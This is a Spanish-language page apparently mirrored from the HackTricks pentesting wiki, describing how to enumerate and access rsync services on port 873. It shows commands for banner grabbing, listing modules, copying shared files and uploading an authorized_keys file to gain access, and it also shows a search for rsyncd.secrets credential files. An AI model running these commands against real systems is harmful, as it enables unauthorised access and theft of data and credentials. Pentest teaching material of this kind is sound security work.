mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-10 12:18:52 +00:00
78 lines
4.1 KiB
Markdown
78 lines
4.1 KiB
Markdown
## **Información Básica**
|
|
|
|
> **rsync** es una utilidad para transferir y sincronizar archivos de manera eficiente entre una computadora y un disco duro externo, y entre computadoras en red comparando los tiempos de modificación y los tamaños de los archivos. Se encuentra comúnmente en sistemas operativos similares a Unix. El algoritmo de rsync es un tipo de codificación delta y se utiliza para minimizar el uso de la red. Zlib se puede utilizar para compresión de datos adicional, y SSH o stunnel se pueden utilizar para seguridad.
|
|
|
|
De [wikipedia](https://en.wikipedia.org/wiki/Rsync).
|
|
|
|
**Puerto predeterminado:** 873
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
873/tcp open rsync syn-ack
|
|
```
|
|
## Enumeración
|
|
|
|
### Banner y comunicación manual
|
|
```
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
|
|
@RSYNCD: 31.0 <--- Then you send the same info
|
|
#list <--- Then you ask the sever to list
|
|
raidroot <--- The server starts enumerating
|
|
USBCopy
|
|
NAS_Public
|
|
_NAS_Recycle_TOSRAID <--- Enumeration finished
|
|
@RSYNCD: EXIT <--- Sever closes the connection
|
|
|
|
|
|
#Now lets try to enumerate "raidroot"
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0
|
|
@RSYNCD: 31.0
|
|
raidroot
|
|
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
|
```
|
|
### **Enumerar carpetas compartidas**
|
|
|
|
**Un módulo de rsync es esencialmente una carpeta compartida**. Estos módulos **pueden estar protegidos opcionalmente por una contraseña**. Esta opción lista los módulos disponibles y, opcionalmente, determina si el módulo requiere una contraseña para acceder\*\*:\*\*
|
|
```bash
|
|
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
|
msf> use auxiliary/scanner/rsync/modules_list
|
|
|
|
#Example using IPv6 and a different port
|
|
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
|
```
|
|
Ten en cuenta que se podría configurar un nombre compartido para que no se liste. Así que podría haber algo **oculto**.\
|
|
Ten en cuenta que puede haber algunos **nombres compartidos** que se enumeran donde se necesitan algunas (diferentes) **credenciales** para acceder. Así que no siempre todos los nombres listados van a ser accesibles y lo notarás si recibes un mensaje de _**"Acceso denegado"**_ al intentar acceder a algunos de ellos.
|
|
|
|
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
|
|
|
### Rsync manual
|
|
|
|
Una vez que tienes la **lista de módulos**, tienes algunas opciones diferentes dependiendo de las acciones que quieras tomar y si se requiere autenticación o no. **Si no se requiere autenticación**, puedes **enumerar** una carpeta compartida:
|
|
```bash
|
|
rsync -av --list-only rsync://192.168.0.123/shared_name
|
|
```
|
|
Y **copiar** todos los **archivos** a tu máquina local mediante el siguiente comando:
|
|
```bash
|
|
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
Esto **transfiere recursivamente todos los archivos del directorio** `<shared_name>` en la máquina `<IP>` al directorio `./rsync_shared` en la máquina local. Los archivos se transfieren en modo "archivo", lo que garantiza que los enlaces simbólicos, dispositivos, atributos, permisos, propietarios, etc. se conserven en la transferencia.
|
|
|
|
Si **tienes credenciales**, puedes **listar/descargar** un **nombre compartido** usando (se solicitará la contraseña):
|
|
```bash
|
|
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
|
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
También se puede **subir** contenido utilizando rsync (por ejemplo, en este caso podemos subir un archivo _**authorized\_keys**_ para obtener acceso a la caja):
|
|
```bash
|
|
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
|
```
|
|
## POST
|
|
|
|
Encuentra el archivo de configuración de rsyncd:
|
|
```bash
|
|
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
|
```
|
|
Dentro del archivo de configuración a veces se puede encontrar el parámetro _secrets file = /path/to/file_ y este archivo puede contener nombres de usuario y contraseñas permitidos para autenticarse en rsyncd.
|